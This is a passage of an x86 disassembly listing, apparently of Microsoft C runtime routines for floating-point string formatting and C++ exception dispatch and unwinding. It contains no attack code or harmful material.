[ecx+eax*2] and eax, 4 loc_421917: ; CODE XREF: sub_4218DB+2Bj test eax, eax jnz short loc_4218EF loc_42191B: ; CODE XREF: sub_4218DB+12j mov cl, byte_43C508 mov al, [esi] mov [esi], cl inc esi loc_421926: ; CODE XREF: sub_4218DB+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_421926 pop esi retn sub_4218DB endp ; =============== S U B R O U T I N E ======================================= sub_421935 proc near ; CODE XREF: sub_41F69F+3E2p ; DATA XREF: sub_41C760+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_43C508 mov cl, [eax] test cl, cl jz short loc_421951 loc_421945: ; CODE XREF: sub_421935+1Aj cmp cl, dl jz short loc_421951 mov cl, [eax+1] inc eax test cl, cl jnz short loc_421945 loc_421951: ; CODE XREF: sub_421935+Ej ; sub_421935+12j mov cl, [eax] inc eax test cl, cl jz short locret_421982 loc_421958: ; CODE XREF: sub_421935+34j mov cl, [eax] test cl, cl jz short loc_42196B cmp cl, 65h jz short loc_42196B cmp cl, 45h jz short loc_42196B inc eax jmp short loc_421958 ; --------------------------------------------------------------------------- loc_42196B: ; CODE XREF: sub_421935+27j ; sub_421935+2Cj ... mov ecx, eax loc_42196D: ; CODE XREF: sub_421935+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_42196D cmp [eax], dl jnz short loc_421978 dec eax loc_421978: ; CODE XREF: sub_421935+40j ; sub_421935+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_421978 locret_421982: ; CODE XREF: sub_421935+21j retn sub_421935 endp ; =============== S U B R O U T I N E ======================================= sub_421983 proc near ; DATA XREF: sub_41C760+28o ; ___:off_43C8B0o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_427880 fnstsw ax sahf jb short loc_421998 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_421998: ; CODE XREF: sub_421983+Fj xor eax, eax retn sub_421983 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42199B proc near ; CODE XREF: sub_420510+430p ; DATA XREF: sub_41C760+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_4219C4 lea eax, [ebp+var_8] push eax call sub_424518 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_4219C4: ; CODE XREF: sub_42199B+Cj lea eax, [ebp+arg_8] push eax call sub_424545 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_42199B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4219D9 proc near ; CODE XREF: sub_421C56+17p ; sub_421CA0+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_4DB310, 0 push ebx push esi jz short loc_421A0E mov ebx, [ebp+arg_8] mov eax, dword_4DB30C xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_421CF1 pop ecx pop ecx jmp short loc_421A46 ; --------------------------------------------------------------------------- loc_421A0E: ; CODE XREF: sub_4219D9+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_4245E9 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_424572 add esp, 14h loc_421A46: ; CODE XREF: sub_4219D9+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_421A52 mov byte ptr [eax], 2Dh inc eax loc_421A52: ; CODE XREF: sub_4219D9+73j test ebx, ebx jle short loc_421A6A mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_43C508 mov eax, edi pop edi mov [eax], cl loc_421A6A: ; CODE XREF: sub_4219D9+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_4DB310, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_41BEB0 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_421A91 mov byte ptr [ecx], 45h loc_421A91: ; CODE XREF: sub_4219D9+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_421AD6 mov ebx, [esi+4] dec ebx jns short loc_421AA5 neg ebx mov byte ptr [ecx], 2Dh loc_421AA5: ; CODE XREF: sub_4219D9+C5j inc ecx cmp ebx, 64h jl short loc_421ABC mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421ABC: ; CODE XREF: sub_4219D9+D0j inc ecx cmp ebx, 0Ah jl short loc_421AD3 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421AD3: ; CODE XREF: sub_4219D9+E7j add [ecx+1], bl loc_421AD6: ; CODE XREF: sub_4219D9+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_4219D9 endp ; =============== S U B R O U T I N E ======================================= sub_421ADD proc near ; CODE XREF: sub_421C7D+13p ; sub_421CA0+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_4DB310, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_421B18 mov eax, dword_4DB314 mov ebx, [esp+10h+arg_8] mov esi, dword_4DB30C cmp eax, ebx jnz short loc_421B48 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_421B48 ; --------------------------------------------------------------------------- loc_421B18: ; CODE XREF: sub_421ADD+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_4245E9 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_424572 add esp, 14h loc_421B48: ; CODE XREF: sub_421ADD+22j ; sub_421ADD+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_421B56 mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_421B56: ; CODE XREF: sub_421ADD+70j mov eax, [esi+4] test eax, eax jg short loc_421B6D push 1 push edi call sub_421CF1 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_421B6F ; --------------------------------------------------------------------------- loc_421B6D: ; CODE XREF: sub_421ADD+7Ej add edi, eax loc_421B6F: ; CODE XREF: sub_421ADD+8Ej test ebx, ebx jle short loc_421BB4 push 1 push edi call sub_421CF1 mov al, byte_43C508 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_421BB4 cmp byte_4DB310, 0 jz short loc_421B99 neg esi jmp short loc_421B9F ; --------------------------------------------------------------------------- loc_421B99: ; CODE XREF: sub_421ADD+B6j neg esi cmp ebx, esi jl short loc_421BA1 loc_421B9F: ; CODE XREF: sub_421ADD+BAj mov ebx, esi loc_421BA1: ; CODE XREF: sub_421ADD+C0j push ebx push edi call sub_421CF1 push ebx push 30h push edi call sub_41B590 add esp, 14h loc_421BB4: ; CODE XREF: sub_421ADD+94j ; sub_421ADD+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_421ADD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421BBB proc near ; CODE XREF: sub_421CA0+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_4245E9 mov dword_4DB30C, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_4DB314, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_424572 mov eax, dword_4DB30C add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_4DB314, ecx setl cl mov byte_4DB318, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_4DB314, eax jl short loc_421C41 cmp eax, ebx jge short loc_421C41 test cl, cl jz short loc_421C32 loc_421C28: ; CODE XREF: sub_421BBB+72j mov al, [esi] inc esi test al, al jnz short loc_421C28 and [esi-2], al loc_421C32: ; CODE XREF: sub_421BBB+6Bj push ebx push [ebp+arg_4] push edi call sub_421C7D add esp, 0Ch jmp short loc_421C51 ; --------------------------------------------------------------------------- loc_421C41: ; CODE XREF: sub_421BBB+63j ; sub_421BBB+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_421C56 add esp, 10h loc_421C51: ; CODE XREF: sub_421BBB+84j pop edi pop esi pop ebx pop ebp retn sub_421BBB endp ; =============== S U B R O U T I N E ======================================= sub_421C56 proc near ; CODE XREF: sub_421BBB+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_4DB310, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_4219D9 and byte_4DB310, 0 add esp, 10h retn sub_421C56 endp ; =============== S U B R O U T I N E ======================================= sub_421C7D proc near ; CODE XREF: sub_421BBB+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_4DB310, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_421ADD and byte_4DB310, 0 add esp, 0Ch retn sub_421C7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421CA0 proc near ; CODE XREF: sub_41F69F+3AAp ; DATA XREF: sub_41C760o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_421CDB cmp [ebp+arg_8], 45h jz short loc_421CDB cmp [ebp+arg_8], 66h jnz short loc_421CC8 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421ADD add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_421CC8: ; CODE XREF: sub_421CA0+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421BBB jmp short loc_421CEC ; --------------------------------------------------------------------------- loc_421CDB: ; CODE XREF: sub_421CA0+7j ; sub_421CA0+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_4219D9 loc_421CEC: ; CODE XREF: sub_421CA0+39j add esp, 10h pop ebp retn sub_421CA0 endp ; =============== S U B R O U T I N E ======================================= sub_421CF1 proc near ; CODE XREF: sub_4219D9+2Cp ; sub_421ADD+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_421D14 push esi mov esi, [esp+8+arg_0] push esi call sub_41AFE0 inc eax push eax push esi add esi, edi push esi call sub_41CC90 add esp, 10h pop esi loc_421D14: ; CODE XREF: sub_421CF1+7j pop edi retn sub_421CF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421D16 proc near ; CODE XREF: ___:0041C940p ; sub_41C9A9+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_421D2C call sub_4225B2 loc_421D2C: ; CODE XREF: sub_421D16+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_421D54 cmp dword ptr [esi+4], 0 jz short loc_421DAA cmp [ebp+arg_14], 0 jnz short loc_421DAA push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_42205D add esp, 10h jmp short loc_421DAA ; --------------------------------------------------------------------------- loc_421D54: ; CODE XREF: sub_421D16+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_421DAA cmp dword ptr [eax], 0E06D7363h jnz short loc_421D8E cmp [eax+14h], edi jbe short loc_421D8E mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_421D8E movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_421DAD ; --------------------------------------------------------------------------- loc_421D8E: ; CODE XREF: sub_421D16+4Aj ; sub_421D16+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_421DB1 add esp, 20h loc_421DAA: ; CODE XREF: sub_421D16+23j ; sub_421D16+29j ... push 1 pop eax loc_421DAD: ; CODE XREF: sub_421D16+76j pop edi pop esi pop ebp retn sub_421D16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421DB1 proc near ; CODE XREF: sub_421D16+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_421DD1 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_421DD6 loc_421DD1: ; CODE XREF: sub_421DB1+16j call sub_4225B2 loc_421DD6: ; CODE XREF: sub_421DB1+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz short loc_421E4A cmp [esi+14h], edi jnz short loc_421E4A cmp dword ptr [esi+1Ch], 0 jnz short loc_421E4A mov esi, dword_4DB31C test esi, esi jz loc_421F28 mov eax, dword_4DB320 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_424770 pop ecx test eax, eax pop ecx jnz short loc_421E2C call sub_4225B2 loc_421E2C: ; CODE XREF: sub_421DB1+74j cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz short loc_421E4A cmp [esi+14h], edi jnz short loc_421E4A cmp dword ptr [esi+1Ch], 0 jnz short loc_421E4A call sub_4225B2 loc_421E4A: ; CODE XREF: sub_421DB1+41j ; sub_421DB1+46j ... cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz loc_421F2D cmp [esi+14h], edi jnz loc_421F2D mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41CAF7 add esp, 14h mov ebx, eax loc_421E81: ; CODE XREF: sub_421DB1+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_421F18 cmp [ebx], edi jg short loc_421F0D cmp edi, [ebx+4] jg short loc_421F0D mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_421F0A loc_421EA6: ; CODE XREF: sub_421DB1+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_421ED7 loc_421EB8: ; CODE XREF: sub_421DB1+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_422000 add esp, 0Ch test eax, eax jnz short loc_421EE6 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_421EB8 loc_421ED7: ; CODE XREF: sub_421DB1+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_421EA6 jmp short loc_421F0A ; --------------------------------------------------------------------------- loc_421EE6: ; CODE XREF: sub_421DB1+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_422111 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421F0A: ; CODE XREF: sub_421DB1+F3j ; sub_421DB1+133j mov edi, [ebp+var_10] loc_421F0D: ; CODE XREF: sub_421DB1+DEj ; sub_421DB1+E3j inc [ebp+var_4] add ebx, 14h jmp loc_421E81 ; --------------------------------------------------------------------------- loc_421F18: ; CODE XREF: sub_421DB1+D6j cmp [ebp+arg_14], 0 jz short loc_421F28 push 1 push esi call sub_422486 pop ecx pop ecx loc_421F28: ; CODE XREF: sub_421DB1+56j ; sub_421DB1+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_421F2D: ; CODE XREF: sub_421DB1+37j ; sub_421DB1+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_421F53 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_421F58 add esp, 20h jmp short loc_421F28 ; --------------------------------------------------------------------------- loc_421F53: ; CODE XREF: sub_421DB1+180j jmp sub_42255C sub_421DB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F58 proc near ; CODE XREF: sub_421DB1+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_4DB324, 0 push esi push edi jz short loc_421F89 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41C9CE add esp, 1Ch test eax, eax jnz short loc_421FFC loc_421F89: ; CODE XREF: sub_421F58+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41CAF7 add esp, 14h mov esi, eax loc_421FA5: ; CODE XREF: sub_421F58+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_421FFC cmp edi, [esi] jl short loc_421FF4 cmp edi, [esi+4] jg short loc_421FF4 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_421FCE cmp byte ptr [ecx+8], 0 jnz short loc_421FF4 loc_421FCE: ; CODE XREF: sub_421F58+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_422111 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421FF4: ; CODE XREF: sub_421F58+57j ; sub_421F58+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_421FA5 ; --------------------------------------------------------------------------- loc_421FFC: ; CODE XREF: sub_421F58+2Fj ; sub_421F58+53j pop edi pop esi leave retn sub_421F58 endp ; =============== S U B R O U T I N E ======================================= sub_422000 proc near ; CODE XREF: sub_421DB1+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_422057 cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_422057 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_422031 add ecx, 8 push ecx push edx call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_422053 loc_422031: ; CODE XREF: sub_422000+1Fj test byte ptr [esi], 2 jz short loc_42203B test byte ptr [edi], 8 jz short loc_422053 loc_42203B: ; CODE XREF: sub_422000+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_42204A test byte ptr [edi], 1 jz short loc_422053 loc_42204A: ; CODE XREF: sub_422000+43j test al, 2 jz short loc_422057 test byte ptr [edi], 2 jnz short loc_422057 loc_422053: ; CODE XREF: sub_422000+2Fj ; sub_422000+39j ... xor eax, eax jmp short loc_42205A ; --------------------------------------------------------------------------- loc_422057: ; CODE XREF: sub_422000+Bj ; sub_422000+14j ... push 1 pop eax loc_42205A: ; CODE XREF: sub_422000+55j pop edi pop esi retn sub_422000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42205D proc near ; CODE XREF: sub_421D16+34p ; ___:00422153p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278C8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_42208F: ; CODE XREF: sub_42205D+8Aj cmp esi, [ebp+arg_C] jz short loc_4220E9 cmp esi, 0FFFFFFFFh jle short loc_42209E cmp esi, [edi+4] jl short loc_4220A3 loc_42209E: ; CODE XREF: sub_42205D+3Aj call sub_4225B2 loc_4220A3: ; CODE XREF: sub_42205D+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_4220BE push 103h push ebx push eax call sub_422510 loc_4220BE: ; CODE XREF: sub_42205D+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_4220DE ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_4220FB pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_4220DE: ; CODE XREF: sub_42205D+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_42208F ; --------------------------------------------------------------------------- loc_4220E9: ; CODE XREF: sub_42205D+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42205D endp ; =============== S U B R O U T I N E ======================================= sub_4220FB proc near ; CODE XREF: sub_42205D+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_42210C xor eax, eax retn ; --------------------------------------------------------------------------- loc_42210C: ; CODE XREF: sub_4220FB+Cj jmp sub_42255C sub_4220FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_422111 proc near ; CODE XREF: sub_421DB1+151p ; sub_421F58+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_422133 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_4222C2 add esp, 10h loc_422133: ; CODE XREF: sub_422111+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_42213F push edi jmp short loc_422142 ; --------------------------------------------------------------------------- loc_42213F: ; CODE XREF: sub_422111+29j push [ebp+arg_24] loc_422142: ; CODE XREF: sub_422111+2Cj call sub_41C8D0 sub_422111 endp ; --------------------------------------------------------------------------- mov esi, [ebp+24h] push dword ptr [esi] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push edi call sub_42205D mov eax, [esi+4] push 100h push dword ptr [ebp+28h] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push dword ptr [ebp+18h] push dword ptr [ebp+10h] push edi push dword ptr [ebp+8] call sub_42218C add esp, 2Ch test eax, eax jz short loc_422187 push edi push eax call sub_41C88E loc_422187: ; CODE XREF: ___:0042217Ej pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42218C proc near ; CODE XREF: ___:00422174p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278D8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_4DB31C mov [ebp+var_1C], ecx mov ecx, dword_4DB320 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_4DB31C, edi mov ecx, [ebp+arg_8] mov dword_4DB320, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_41C955 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_422252 mov eax, [ebp+var_2C] loc_422219: ; CODE XREF: sub_422232+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42218C endp ; =============== S U B R O U T I N E ======================================= sub_422228 proc near ; DATA XREF: ___:004278E8o push dword ptr [ebp-14h] call sub_422298 pop ecx retn sub_422228 endp ; =============== S U B R O U T I N E ======================================= sub_422232 proc near ; DATA XREF: ___:004278ECo mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_41CBB6 pop ecx pop ecx xor eax, eax jmp short loc_422219 sub_422232 endp ; --------------------------------------------------------------------------- loc_42224A: ; DATA XREF: ___:004278E0o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_422252 proc near ; CODE XREF: sub_42218C+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_4DB31C, eax mov eax, [ebp-20h] mov dword_4DB320, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_422297 cmp dword ptr [edi+10h], 3 jnz short locret_422297 cmp dword ptr [edi+14h], 19930520h jnz short locret_422297 cmp [ebp-24h], ebx jnz short locret_422297 cmp [ebp-2Ch], ebx jz short locret_422297 call sub_41CC1E push eax push edi call sub_422486 pop ecx pop ecx locret_422297: ; CODE XREF: sub_422252+1Cj ; sub_422252+22j ... retn sub_422252 endp ; =============== S U B R O U T I N E ======================================= sub_422298 proc near ; CODE XREF: sub_422228+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_4222BF cmp dword ptr [eax+10h], 3 jnz short loc_4222BF cmp dword ptr [eax+14h], 19930520h jnz short loc_4222BF cmp dword ptr [eax+1Ch], 0 jnz short loc_4222BF push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4222BF: ; CODE XREF: sub_422298+Cj ; sub_422298+12j ... xor eax, eax retn sub_422298 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4222C2 proc near ; CODE XREF: sub_422111+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278F0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_42246B cmp byte ptr [eax+8], 0 jz loc_42246B mov eax, [ecx+8] test eax, eax jz loc_42246B mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_42235F mov esi, 